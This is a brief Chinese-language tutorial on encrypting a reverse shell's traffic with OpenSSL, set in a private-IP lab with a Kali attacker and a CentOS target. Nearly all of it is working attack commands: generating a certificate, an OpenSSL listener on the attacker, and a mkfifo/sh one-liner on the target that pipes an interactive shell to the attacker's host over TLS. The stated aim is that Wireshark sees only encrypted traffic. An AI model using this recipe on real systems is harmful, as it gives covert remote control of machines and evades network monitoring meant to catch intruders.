利用OpenSSL对反弹shell进行流量加密

测试环境

攻击机：192.168.137.129（Kali）

靶机：192.168.137.128（CentOS）

1、在攻击机上使用OpenSSL生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

2、 在攻击机上监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port [port]

3、在目标机用tcpdump抓包并执行命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [IP:port] > /tmp/s; rm /tmp/s

4、在攻击上输入命令测试

使用wireshark查看流量包发现流量已经加密